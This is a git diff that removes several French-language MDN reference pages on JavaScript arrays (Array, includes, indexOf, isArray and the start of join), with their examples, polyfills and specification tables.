Un {{jsxref("Boolean","booléen","",1)}} qui vaut true si élémentRecherché est trouvé dans le tableau (à partir de l'indiceDépart si celui-ci est indiqué). Les valeurs -0, +0 et 0 sont considérées comme équivalentes mais false n'est pas considéré comme équivalent à 0.

- -
-

Note : Pour être tout à fait précis, includes() utilise l'algorithme SameValueZero afin de déterminer si un élément donné est trouvé.

-
- -

Exemples

- -
[1, 2, 3].includes(2);     // true
-[1, 2, 3].includes(4);     // false
-[1, 2, 3].includes(3, 3);  // false
-[1, 2, 3].includes(3, -1); // true
-[1, 2, NaN].includes(NaN); // true
-
-['a', 'b', 'c'].includes('c', 5);    // false
-['a', 'b', 'c'].includes('c', -100); // true
-
- -

indiceDépart supérieur ou égal à la longueur du tableau

- -

SI indiceDépart est supérieur ou égal à la longueur du tableau, la méthode retourne false. Le tableau n'est pas parcouru.

- -
var arr = ['a', 'b', 'c'];
-
-arr.includes('c', 3);   // false
-arr.includes('c', 100); // false
-
- -

indiceDépart strictement négatif

- -

Si indiceDépart est strictement négatif, l'indice de départ effectif est la somme entre la taille du tableau et indiceDépart. Si cette somme est toujours négative, le tableau est intégralement parcouru.

- -
// Le tableau a une taille de 3
-// indiceDépart vaut -2
-// L'indice de départ effectif vaut is 3 + (-2) = 1
-
-var arr = ['a', 'b', 'c'];
-
-arr.includes('a', -2); // false
-arr.includes('b', -2); // true
-arr.includes('c', -100); // true
-
- -

Utilisation d'includes() comme méthode générique

- -

includes() est une méhtode générique : l'objet sur lequel elle est appelée ne doit pas nécessairement être un tableau. On peut l'utiliser sur des objets semblables à des tableaux (ex. arguments ou des chaînes de caractères) :

- -
function argumentsContientA(){
-  return [].includes.call(arguments, 'a');
-}
-
-console.log(argumentsContientA('a','b','c')); // true
-console.log(argumentsContientA('d','e','f')); // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ES7')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.includes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.includes()")}}
    • -
  • {{jsxref("Array.prototype.indexOf()")}}
    • -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("Array.prototype.findIndex()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/index.html b/files/fr/web/javascript/reference/objets_globaux/array/index.html deleted file mode 100644 index b871ff6573..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/index.html +++ /dev/null @@ -1,446 +0,0 @@ ---- -title: Array -slug: Web/JavaScript/Reference/Objets_globaux/Array -tags: - - Array - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array ---- -
{{JSRef}}
- -

L'objet global Array est utilisé pour créer des tableaux. Les tableaux sont des objets de haut-niveau (en termes de complexité homme-machine) semblables à des listes.

- -

Créer un tableau

- -
var fruits = ['Apple', 'Banana'];
-
-console.log(fruits.length);
-// 2
- -

Accéder (via son index) à un élément du tableau

- -
var first = fruits[0];
-// Apple
-
-var last = fruits[fruits.length - 1];
-// Banana
- -

Boucler sur un tableau

- -
fruits.forEach(function(item, index, array) {
-  console.log(item, index);
-});
-// Apple 0
-// Banana 1
- -

Ajouter à la fin du tableau

- -
var newLength = fruits.push('Orange');
-// ["Apple", "Banana", "Orange"]
- -

Supprimer le dernier élément du tableau

- -
var last = fruits.pop(); // supprime Orange (à la fin)
-// ["Apple", "Banana"];
- -

Supprimer le premier élément du tableau

- -
var first = fruits.shift(); // supprime Apple (au début)
-// ["Banana"];
- -

Ajouter au début du tableau

- -
var newLength = fruits.unshift('Strawberry') // ajoute au début
-// ["Strawberry", "Banana"];
- -

Trouver l'index d'un élément dans le tableau

- -
fruits.push('Mango');
-// ["Strawberry", "Banana", "Mango"]
-
-var pos = fruits.indexOf('Banana');
-// 1
- -

Supprimer un élément par son index

- -
var removedItem = fruits.splice(pos, 1); // supprime 1 élément à la position pos
-
-// ["Strawberry", "Mango"]
- -

Supprimer des éléments à partir d'un index

- -
var vegetables = ['Cabbage', 'Turnip', 'Radish', 'Carrot'];
-console.log(vegetables);
-// ["Cabbage", "Turnip", "Radish", "Carrot"]
-
-var pos = 1, n = 2;
-
-var removedItems = vegetables.splice(pos, n);
-// n définit le nombre d'éléments à supprimer,
-// à partir de la position pos
-
-console.log(vegetables);
-// ["Cabbage", "Carrot"] (le tableau d'origine est changé)
-
-console.log(removedItems);
-// ["Turnip", "Radish"] (splice retourne la liste des éléments supprimés)
- -

Copier un tableau

- -
var shallowCopy = fruits.slice(); // crée un nouveau tableau qui contient les éléments de fruits
-// ["Strawberry", "Mango"]
- -

Syntaxe

- -
[element0, element1, ..., elementN]
-new Array(element0, element1[, ...[, elementN]])
-new Array(arrayLength)
- -
-
-

Paramètres

-
-
element0, element1, ..., elementN
-
Un tableau est initialisé avec les éléments donnés, sauf dans le cas où un seul argument est passé au constructeur Array et que cet argument est un nombre. (Voir ci-après.) Notez que ce cas spécial s'applique aux tableaux créés avec le constructeur Array, et non aux tableaux créés avec la syntaxe crochets.
-
arrayLength
-
Si le seul argument passé au constructeur Array est un entier entre 0 et 232-1 (inclus), un nouveau tableau sera créé avec ce nombre d'éléments (note : le tableau sera créé avec arrayLength emplacements vides, et non avec de véritables valeurs undefined). Si l'argument est un nombre en dehors de la plage autorisée, une exception {{jsxref("RangeError")}} est levée.
-
- -

Description

- -

Les tableaux sont des objets qui servent de liste et possèdent plusieurs méthodes incorporées pour exécuter des opérations de parcours et de modification.

- -

Ni la taille d'un tableau ni le types de ses éléments n'est fixé. Puisque la dimension d'un tableau peut augmenter ou diminuer à tout moment, et que les éléments du tableau peuvent être stockés à des emplacements non contigus, les tableaux ne sont pas garantis d'être compacts. En général, ce sont des caractéristiques pratiques, mais si ces fonctionnalités ne sont pas souhaitables pour votre cas d'utilisation, vous pouvez envisager d'utiliser des tableaux typés.

- -

Les tableaux ne peuvent pas utiliser de chaîne de caractères comme indice (comme dans un tableau associatif) mais des entiers. Utiliser ou accéder à des index non entiers, en utilisant la notation avec crochets (ou avec point) ne va pas définir ou récupérer un élément sur le tableau lui-même, mais une variable associée à la  collection de propriétés d'objet de ce tableau.  Les propriétés du tableau et la liste de ses éléments sont séparées, et les opérations de parcours et de modification ne s'appliquent pas à ces propriétés.

- -

Accéder aux éléments d'un tableau

- -

Les tableaux sont indexés à partir de zéro: le premier élément d'un tableau a pour indice 0, et la position du dernier élément est donnée par {{jsxref("Array.length", "length")}} moins 1. Si on utilise un indice en dehors de cet intervalle, le résultat sera {{jsxref("undefined")}} (sous réserve qu'aucune propriété n'ait été ajoutée au préalable avec cet indice).

- -
var arr = ["le premier élément", "le deuxième élément", "le dernier élément"];
-console.log(arr[0]);             // affiche "le premier élément"
-console.log(arr[1]);             // affiche "le deuxième élément"
-console.log(arr[arr.length - 1]);// affiche "le dernier élément"
- -

Les éléments d'un tableau sont des propriétés d'objets de la même manière que toString est une propriété. Cependant, essayer d'accéder à un élément du tableau comme suit renverra une erreur car le nom de la propriété utilisé est invalide :

- -
console.log(arr.0); // erreur de syntaxe
- -

Ce comportement est tout à fait normal. En effet, il n'est pas possible d'accéder aux propriétés dont le nom commence par un chiffre avec cette notation (le point). Il est nécessaire d'utiliser la syntaxe avec les crochets pour accéder à ces propriétés. Ainsi, si pour un objet quelconque, on avait une propriété nommée '3d', on ne pourra y faire référence qu'en utilisant les crochets. Exemple :

- -
var années = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
-
-console.log(années.0);  // erreur de syntaxe
-console.log(années[0]); // fonctionne correctement
- -
renderer.3d.setTexture(model, "personnage.png");   // erreur de syntaxe
-renderer["3d"].setTexture(model, "personnage.png");// fonctionne correctement
- -

Dans cet exemple, on utilise des doubles quotes autour de 3d. On peut aussi utiliser les doubles quotes pour accéder aux éléments d'un tableau (ex. : années["2"] au lieu de années[2]), mais ce n'est pas obligatoire. Dans l'instruction années[2], le nombre sera converti en une chaîne de caractères par le moteur JavaScript. Pour cette raison, si on utilise les noms de propriété "2" et "02", on fera référence à deux propriétés différentes, et le fragment de code suivant renvoie donc true:

- -
console.log(années["2"] != années["02"]);
- -

De manière similaire, les propriétés nommées avec des mots-clés réservés ne peuvent être consultées qu'en utilisant la syntaxe avec crochets :

- -
var promise = {
-  'var' : 'text',
-  'array': [1, 2, 3, 4]
-};
-
-console.log(promise['var']);
- -
-

Note spécifique à Firefox : Depuis Firefox 40.0a2, il est possible d'utiliser la notation avec le point pour accéder aux propriétés dont les noms ne sont pas des identifiants valides.

-
- -

Relation entre length et les propriétés numériques

- -

La propriété {{jsxref("Array.length", "length")}} d'un tableau est liée aux propriétés numériques du tableau. Plusieurs méthodes natives utilisent cette propriété : {{jsxref("Array.join", "join()")}}, {{jsxref("Array.slice", "slice()")}}, {{jsxref("Array.indexOf", "indexOf()")}}, etc. D'autres méthodes comme {{jsxref("Array.push", "push()")}} et {{jsxref("Array.splice", "splice()")}} modifient le tableau et la propriété {{jsxref("Array.length", "length")}}.

- -
var fruits = [];
-fruits.push("banane", "pomme", "pêche");
-
-console.log(fruits.length); // 3
- -

Lorsqu'on définit une nouvelle propriété numérique pour un tableau, que l'index utilisé est valide et que celui-ci est dehors des limites actuelles du tableau, le moteur JavaScript mettra à jour la propriété {{jsxref("Array.length", "length")}} :

- -
fruits[5] = "mangue";
-console.log(fruits[5]);  // "mangue"
-console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
-console.log(fruits.length); // 6
- -

On peut également modifier la propriété directement (cela n'ajoutera pas de nouveaux éléments) :

- -
fruits.length = 10;
-console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
-console.log(fruits.length);  // 10
- -

En revanche, si on diminue la valeur de {{jsxref("Array.length", "length")}}, cela supprimera des éléments :

- -
fruits.length = 2;
-console.log(Object.keys(fruits)); // ['0', '1']
-console.log(fruits.length); // 2
- -

Pour plus d'informations sur le comportement de cette propriété, voir la page {{jsxref("Array.length")}}.

- -

Création d'un tableau utilisant le résultat d'une correspondance

- -

Le résultat d'une correspondance entre une expression rationnelle et une chaîne peut créer un tableau. Ce tableau possède des propriétés et des éléments qui fournissent des informations sur cette correspondance. Il est possible d'obtenir un tableau grâce aux méthodes {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, and {{jsxref("String.replace")}}. Pour mieux comprendre le fonctionnement de ces propriétés et de ces éléments, on pourra utiliser l'exemple et le tableau qui suivent :

- -
// Matche un "d" suivit par un ou plusieurs "b" et suivit d'un "d"
-// Capture les "b" et le "d" qui suit
-// Ignore la casse
-
-var maRegexp = /d(b+)(d)/i;
-var monTableau = maRegexp.exec("cdbBdbsbz");
-
-console.log(monTableau);
-// [ 0:"dbBd", 1:"bB", 2:"d", index:1, input:"cdbBdbsbz", length:3 ]
- -

Les propriétés et les éléments retournés depuis cette correspondance sont les suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Propriété/ÉlémentDescriptionExemple
inputUne propriété en lecture seule qui reflète la chaîne originale sur laquelle l'expression rationnelle a été appliquée.cdbBdbsbz
indexUne propriété en lecture seule qui est l'indice de la correspondance dans la chaîne (les indices commencent à 0)1
[0]Une propriété en lecture seule qui spécifie les derniers caractères correspondants.dbBd
[1], ...[n]Des éléments en lecture seule qui contiennent les groupes capturés, s'il y en a dans l'expression régulière. Le nombre de groupes capturés possibles est illimité.[1]: bB
- [2]: d
- -

Propriétés

- -
-
{{jsxref("Array.prototype.length")}}
-
La propriété de longueur pour le constructeur Array, elle vaut 1.
-
{{jsxref("Array.@@species", "get Array[@@species]")}}
-
La fonction de construction utilisée pour créer les objets dérivés.
-
{{jsxref("Array.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à tous les tableaux.
-
- -

Méthodes

- -
-
{{jsxref("Array.from()")}}
-
Cette méthode permet de créer une nouvelle instance d'Array à partir d'un objet semblable à un tableau ou d'un itérable.
-
{{jsxref("Array.isArray()")}}
-
Cette méthode renvoie true si la variable est un tableau, false sinon.
-
{{jsxref("Array.of()")}}
-
Cette méthode permet de créer une nouvelle instance d'Array à partir d'un nombre variable d'arguments (peu importe la quantité ou le type des arguments utilisés).
-
- -

Instances d'Array

- -

Toutes les instances d'Array héritent de {{jsxref("Array.prototype")}}. Le prototype du constructeur Array peut être modifié afin d'affecter l'ensemble des instances grâce à l'héritage.

- -

Les propriétés

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Propriétés')}}
- -

Les méthodes

- -

Les mutateurs

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Mutateurs')}}
- -

Les accesseurs

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Accesseurs')}}
- -

Les méthodes d'itération

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Méthodes_itératives')}}
- -

Les méthodes génériques de manipulation de tableaux

- -
-

Attention : Ces méthodes génériques ne sont pas standard. Elles sont dépréciées et seront retirées dans un avenir proche. Celles-ci ne peuvent être utilisées sur tous les navigateurs. Toutefois, il existe un shim disponible sur GitHub.

-
- -

Parfois, on peut vouloir appliquer des méthodes pour les tableaux sur des chaînes ou d'autres objets semblables aux tableaux (ex. : l'objet {{jsxref("Fonctions/arguments", "arguments", "", 1)}}). Une chaîne sera donc traitée comme un tableau de caractères. Ainsi, si on souhaite vérifier que chaque caractère d'une chaîne str est bien une lettre comprise entre 'a' et 'z', on pourra utiliser :

- -
function estUneLettre(caractère) {
-  return caractère >= 'a' && caractère <= 'z';
-}
-
-if (Array.prototype.every.call(str, estUneLettre)) {
-  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z!");
-}
-
- -

Cette notation étant plutôt verbeuse, une notation raccourcie a été introduite avec JavaScript 1.6 :

- -
if (Array.every(str,estUneLettre)) {
-  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z !");
-}
-
- -

Des {{jsxref("Objets_globaux/String", "méthodes génériques", "#Méthodes_génériques_de_String", 1)}} sont également disponibles pour les {{jsxref("Objets_globaux/String", "String")}}.

- -

Cette fonctionnalité ne fait pas partie du standard ECMAScript et n'est pas prise en charge par les navigateurs qui ne sont pas basés sur Gecko. Comme alternative standard, vous pouvez convertir votre objet en véritable tableau grâce à la méthode {{jsxref("Array.from()")}} (attention, cette méthode n'est pas supportée dans les anciens navigateurs) :

- -
if (Array.from(str).every(estUneLettre)) {
-  console.log("La chaîne '" + str + "' contient uniquement des lettres !");
-}
- -

Exemples

- -

Créer un tableau

- -

Dans l'exemple suivant, on crée un tableau tableauMsg, d'une longueur nulle. Ensuite, on lui affecte des valeurs pour tableauMsg[0] et tableauMsg[99], ce qui aura pour effet de modifier la propriété length (qui vaudra alors 100).

- -
var tableauMsg = [];
-tableauMsg[0] = 'Coucou';
-tableauMsg[99] = 'monde';
-
-if (tableauMsg.length === 100) {
-  console.log('La longueur du tableau vaut 100.');
-}
-
- -

Créer un tableau à deux dimensions

- -

Dans l'exemple qui suit, on crée un plateau d'échec grâce à un tableau en deux dimensions qui contient des caractères. Le premier mouvement est effectué en copiant 'p' de (6,4) vers (4,4). La position anciennement occupée par le pion (6,4) devient vide.

- -
var plateau = [
-  ['T','C','F','R','K','F','C','T'],
-  ['P','P','P','P','P','P','P','P'],
-  [' ',' ',' ',' ',' ',' ',' ',' '],
-  [' ',' ',' ',' ',' ',' ',' ',' '],
-  [' ',' ',' ',' ',' ',' ',' ',' '],
-  [' ',' ',' ',' ',' ',' ',' ',' '],
-  ['p','p','p','p','p','p','p','p'],
-  ['t','c','f','k','r','f','c','t'] ];
-
-console.log(plateau.join('\n') + '\n\n');
-
-// On déplace le pion de deux cases en avant 2
-plateau[4][4] = plateau[6][4];
-plateau[6][4] = ' ';
-console.log(plateau.join('\n'));
-
- -

Voici le résultat affiché :

- -
T,C,F,R,K,F,C,T
-P,P,P,P,P,P,P,P
- , , , , , , ,
- , , , , , , ,
- , , , , , , ,
- , , , , , , ,
-p,p,p,p,p,p,p,p
-t,c,f,k,r,f,c,t
-
-T,C,F,R,K,F,C,T
-P,P,P,P,P,P,P,P
- , , , , , , ,
- , , , , , , ,
- , , , ,p, , ,
- , , , , , , ,
-p,p,p,p, ,p,p,p
-t,c,f,k,r,f,c,t
-
- -

Utiliser un tableau pour tabuler un ensemble de valeurs

- -
values = [];
-for (var x = 0; x < 10; x++){
- values.push([
-  2 ** x,
-  2 * x ** 2
- ])
-};
-console.table(values)
- -

Résulte en

- -
0	1	0
-1	2	2
-2	4	8
-3	8	18
-4	16	32
-5	32	50
-6	64	72
-7	128	98
-8	256	128
-9	512	162
- -

(Le première colonne est l'index)

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.4', 'Array')}}{{Spec2('ES5.1')}}Ajout de nouvelles méthodes : {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}
{{SpecName('ES6', '#sec-array-objects', 'Array')}}{{Spec2('ES6')}}Ajout de nouvelles méthodes : {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}
{{SpecName('ES7', '#sec-array-objects', 'Array')}}{{Spec2('ES7')}}Ajout de la méthode {{jsxref("Array.prototype.includes()")}}.
{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html deleted file mode 100644 index 5ff4981c2e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Array.prototype.indexOf() -slug: Web/JavaScript/Reference/Objets_globaux/Array/indexOf -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf ---- -
{{JSRef}}
- -

La méthode indexOf() renvoie le premier indice pour lequel on trouve un élément donné dans un tableau. Si l'élément cherché n'est pas présent dans le tableau, la méthode renverra -1.

- -
-

Note : pour la méthode associée aux chaînes de caractères, voir la page {{jsxref("String.prototype.indexOf()")}}.

-
- -
{{EmbedInteractiveExample("pages/js/array-indexof.html")}}
- - - -

Syntaxe

- -
arr.indexOf(élémentRecherché)
-arr.indexOf(élémentRecherché, indiceDébut)
-
- -

Paramètres

- -
-
élémentRecherché
-
L'élément qu'on cherche dans le tableau
-
indiceDébut {{optional_inline}}
-
L'index à partir duquel commencer la recherche. La valeur par défaut est 0 (le tableau sera parcouru dans sa totalité). Si l'index est plus grand ou égal à la longueur du tableau, la méthode renverra -1. Si l'index est négatif, la recherche commencera d'autant d'éléments, à partir de la fin du tableau. À noter que même si l'index est négatif, la recherche s'effectue toujours du début jusqu'à la fin du tableau. Si l'index fourni est inférieur à 0, le tableau sera entièrement parcouru.
-
- -

Valeur de retour

- -

Le premier index de l'élément dans le tableau ou -1 si la valeur n'est pas trouvée.

- -

Description

- -

indexOf compare élémentRecherché aux éléments contenus dans le tableau en utilisant une égalité stricte (la même méthode utilisée par l'opérateur ===).

- -

Exemples

- -

Utiliser indexOf()

- -

Dans l'exemple qui suit, on peut utiliser indexOf afin de trouver l'emplacement d'un élément dans un tableau.

- -
var tableau = [2, 9, 9];
-tableau.indexOf(2);     // 0
-tableau.indexOf(7);     // -1
-tableau.indexOf(9, 2);  // 2
-tableau.indexOf(2, -1); // -1
-tableau.indexOf(2, -3); // 0
- -

Trouver toutes les occurences d'un élément

- -

Dans l'exemple qui suit, on utilise indexOf() afin de trouver tous les indices d'un élément dans un tableau. On peut utiliser la méthode {{jsxref("Array.prototype.push", "push")}} afin d'ajouter ces indices dans un autre tableau.

- -
var indices = [];
-var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
-var élément = 'a';
-var idx = tableau.indexOf(élément);
-while (idx != -1) {
-  indices.push(idx);
-  idx = tableau.indexOf(élément, idx + 1);
-}
-console.log(indices);
-// [0, 2, 4]
- -

Trouver si un élément existe et l'ajouter dans le tableau si ce n'est pas le cas

- -
function mettreAJourLegumes(tabLégumes, légume) {
-    if (tabLégumes.indexOf(légume) === -1) {
-        tabLégumes.push(légume);
-        console.log('Le nouveau tableau est : ' + tabLégumes);
-    } else if (tabLégumes.indexOf(légume) > -1) {
-        console.log(légume + ' existe déjà dans le tableau.');
-    }
-}
-
-var tabLégumes = ['pomme de terre', 'tomate', 'poivron'];
-
-mettreAJourLegumes(tabLégumes, 'épinard');
-// Le nouveau tableau est : pomme de terre,tomate,poivron,épinard
-mettreAJourLegumes(tabLégumes, 'épinard');
-// épinard existe déjà dans le tableau.
- -

Prothèse d'émulation (polyfill)

- -

indexOf fut ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il permet d'utiliser indexOf dans les environnements qui ne le supportent pas nativement. L'algorithme est le même que celui spécifié dans ECMAScript 5 si on a bien {{jsxref("TypeError", "TypeError")}} et {{jsxref("Math.abs")}} qui ont leurs valeurs originales :

- -
// Production steps of ECMA-262, Edition 5, 15.4.4.14
-// Référence : http://es5.github.io/#x15.4.4.14
-if (!Array.prototype.indexOf) {
-  Array.prototype.indexOf = function(searchElement, fromIndex) {
-
-    var k;
-
-    // 1. Soit O le résultat de l'appel à ToObject avec
-    //    this en argument.
-    if (this == null) {
-      throw new TypeError('"this" vaut null ou n est pas défini');
-    }
-
-    var O = Object(this);
-
-    // 2. Soit lenValue le résultat de l'appel de la
-    //    méthode interne Get de O avec l'argument
-    //    "length".
-    // 3. Soit len le résultat de ToUint32(lenValue).
-    var len = O.length >>> 0;
-
-    // 4. Si len vaut 0, on renvoie -1.
-    if (len === 0) {
-      return -1;
-    }
-
-    // 5. Si l'argument fromIndex a été utilisé, soit
-    //    n le résultat de ToInteger(fromIndex)
-    //    0 sinon
-    var n = +fromIndex || 0;
-
-    if (Math.abs(n) === Infinity) {
-      n = 0;
-    }
-
-    // 6. Si n >= len, on renvoie -1.
-    if (n >= len) {
-      return -1;
-    }
-
-    // 7. Si n >= 0, soit k égal à n.
-    // 8. Sinon, si n<0, soit k égal à len - abs(n).
-    //    Si k est inférieur à 0, on ramène k égal à 0.
-    k = Math.max(n >= 0 ? n : len - Math.abs(n), 0);
-
-    // 9. On répète tant que k < len
-    while (k < len) {
-      // a. Soit Pk égal à ToString(k).
-      //    Ceci est implicite pour l'opérande gauche de in
-      // b. Soit kPresent le résultat de l'appel de la
-      //    méthode interne HasProperty de O avec Pk en
-      //    argument. Cette étape peut être combinée avec
-      //    l'étape c
-      // c. Si kPresent vaut true, alors
-      //    i.  soit elementK le résultat de l'appel de la
-      //        méthode interne Get de O avec ToString(k) en
-      //        argument
-      //   ii.  Soit same le résultat de l'application de
-      //        l'algorithme d'égalité stricte entre
-      //        searchElement et elementK.
-      //  iii.  Si same vaut true, on renvoie k.
-      if (k in O && O[k] === searchElement) {
-        return k;
-      }
-      k++;
-    }
-    return -1;
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.indexOf")}}

-
- -

Notes de compatibilité

- -
    -
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, [0].indexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html b/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html deleted file mode 100644 index bc07a159b0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Array.isArray() -slug: Web/JavaScript/Reference/Objets_globaux/Array/isArray -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray ---- -
{{JSRef}}
- -

La méthode Array.isArray() permet de déterminer si l'objet passé en argument est un objet {{jsxref("Array")}}, elle renvoie true si le paramètre passé à la fonction est de type Array et false dans le cas contraire.

- -
Array.isArray([1, 2, 3]);   // true
-Array.isArray({toto: 123}); // false
-Array.isArray("tototruc");  // false
-Array.isArray(undefined);   // false
-
- -

Syntaxe

- -
Array.isArray(value)
- -

Paramètres

- -
-
value
-
La valeur dont on veut vérifier le type
-
- -

Valeur de retour

- -

true si la valeur est un tableau (une instance de {{jsxref("Array")}}), false sinon.

- -

Description

- -

Si l'objet indiqué en paramètre est un {{jsxref("Array")}}, la méthode renvoie true, sinon, elle renvoie false.

- -

Voir aussi : « Determining with absolute accuracy whether or not a JavaScript object is an array » (en anglais) pour avoir plus de détails. Si on passe un objet {{jsxref("TypedArray")}} en argument, ce sera toujours la valeur false qui sera renvoyée.

- -

Exemples

- -
// Tous les appels suivant renvoient true
-Array.isArray([]);
-Array.isArray([1]);
-Array.isArray(new Array());
-Array.isArray(new Array('a', 'b', 'c'));
-Array.isArray(new Array(3));
-// Une petite anecdote: Array.prototype lui même est un Array
-Array.isArray( Array.prototype );
-
-// Tous les appels suivant renvoient false
-Array.isArray();
-Array.isArray({});
-Array.isArray(null);
-Array.isArray(undefined);
-Array.isArray(17);
-Array.isArray("Array");
-Array.isArray(true);
-Array.isArray(false);
-Array.isArray(new Uint8Array(32));
-Array.isArray({ __proto__ : Array.prototype });
-
- -

Prothèse d'émulation (polyfill)

- -

Exécuter ce code avant tout les autres aboutira à la création de la méthode Array.isArray()si elle n'est pas nativement prise en charge par le navigateur.

- -
if(!Array.isArray) {
-  Array.isArray = function(arg) {
-    return Object.prototype.toString.call(arg) === '[object Array]';
-  };
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.isArray")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/join/index.html b/files/fr/web/javascript/reference/objets_globaux/array/join/index.html deleted file mode 100644 index e28efaae77..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/join/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Array.prototype.join() -slug: Web/JavaScript/Reference/Objets_globaux/Array/join -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/join ---- -
{{JSRef}}
- -

La méthode join() crée et renvoie une nouvelle chaîne de caractères en concaténant tous les éléments d'un tableau (ou d'un objet semblable à un tableau). La concaténation utilise la virgule ou une autre chaîne, fournie en argument, comme séparateur.

- -
{{EmbedInteractiveExample("pages/js/array-join.html")}}
- - - -

Syntaxe

- -
arr.join()
-arr.join(séparateur)
-
- -

Paramètres

- -
-
séparateur {{optional_inline}}
-
Ce paramètre optionnel indique une chaine de caractères pour séparer chaque élément du tableau. Le séparateur est converti en une chaine de caractères si nécessaire. Si ce paramètre n'est pas utilisé, les éléments du tableau seront séparés par une virgule (,). Si ce paramètre est la chaîne vide, les éléments seront accolés les uns aux autres sans espace entre. La valeur par défaut de ce paramètre est ",".
-
- -

Valeur de retour

- -

Une chaîne de caractères composée de tous les éléments du tableau joints les uns aux autres. Si la longueur du tableau (arr.length) vaut 0, c'est la chaîne vide qui est renvoyée. Si le tableau ne contient qu'un élément, sa version texte sera renvoyée sans être suivie du séparateur.

- -

Description

- -

